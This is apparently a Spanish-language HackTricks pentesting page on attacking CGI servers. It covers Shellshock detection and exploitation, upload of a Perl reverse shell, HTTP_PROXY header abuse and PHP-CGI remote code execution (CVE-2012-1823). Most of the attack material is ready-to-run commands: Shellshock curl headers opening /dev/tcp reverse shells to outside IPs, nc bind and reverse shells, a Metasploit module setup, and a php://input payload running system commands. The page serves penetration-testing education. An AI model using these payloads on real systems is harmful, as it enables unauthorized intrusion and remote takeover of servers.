hacktricks/network-services-pentesting/pentesting-web/cgi.md

7 KiB

Aprende hacking en AWS de cero a héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Información

Los scripts CGI son scripts perl, por lo tanto, si has comprometido un servidor que puede ejecutar scripts .cgi puedes subir un shell inverso en perl `/usr/share/webshells/perl/perl-reverse-shell.pl`, cambiar la extensión de .pl a .cgi, dar permisos de ejecución `chmod +x` y acceder al shell inverso desde el navegador web para ejecutarlo. Para probar vulnerabilidades CGI se recomienda usar nikto -C all y todos los complementos

ShellShock

ShellShock es una vulnerabilidad que afecta al ampliamente utilizado shell de línea de comandos Bash en sistemas operativos basados en Unix. Se dirige a la capacidad de Bash de ejecutar comandos pasados por aplicaciones. La vulnerabilidad radica en la manipulación de variables de entorno, que son valores nombrados dinámicos que afectan cómo se ejecutan los procesos en una computadora. Los atacantes pueden explotar esto adjuntando código malicioso a las variables de entorno, que se ejecuta al recibir la variable. Esto permite a los atacantes potencialmente comprometer el sistema.

Explotando esta vulnerabilidad la página podría arrojar un error.

Podrías encontrar esta vulnerabilidad notando que está utilizando una versión antigua de Apache y cgi_mod con carpeta cgi o usando nikto.

Prueba

La mayoría de las pruebas se basan en imprimir algo y esperar que esa cadena se devuelva en la respuesta web. Si crees que una página puede ser vulnerable, busca todas las páginas cgi y pruébalas.

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (reflejado, ciego y fuera de banda)

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Explotar

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Proxy (MitM para solicitudes al servidor web)

CGI crea una variable de entorno para cada encabezado en la solicitud http. Por ejemplo: "host:web.com" se crea como "HTTP_HOST"="web.com"

Dado que la variable HTTP_PROXY podría ser utilizada por el servidor web. Intente enviar un encabezado que contenga: "Proxy: <IP_atacante>:<PUERTO>" y si el servidor realiza alguna solicitud durante la sesión. Podrá capturar cada solicitud realizada por el servidor.

PHP Antiguo + CGI = RCE CVE-2012-1823, CVE-2012-2311

Básicamente, si cgi está activo y php es "antiguo" &lt;5.3.12 / &lt; 5.4.2 se puede ejecutar código. Para explotar esta vulnerabilidad, es necesario acceder a algún archivo PHP del servidor web sin enviar parámetros especialmente sin enviar el carácter "=". Luego, para probar esta vulnerabilidad, podría acceder por ejemplo a /index.php?-s note el `-s` y el código fuente de la aplicación aparecerá en la respuesta.

Luego, para obtener RCE puede enviar esta consulta especial: /?-d allow_url_include=1 -d auto_prepend_file=php://input y el código PHP a ejecutar en el cuerpo de la solicitud. Ejemplo:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Más información sobre la vulnerabilidad y posibles exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, Ejemplo de CTF Writeup.

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: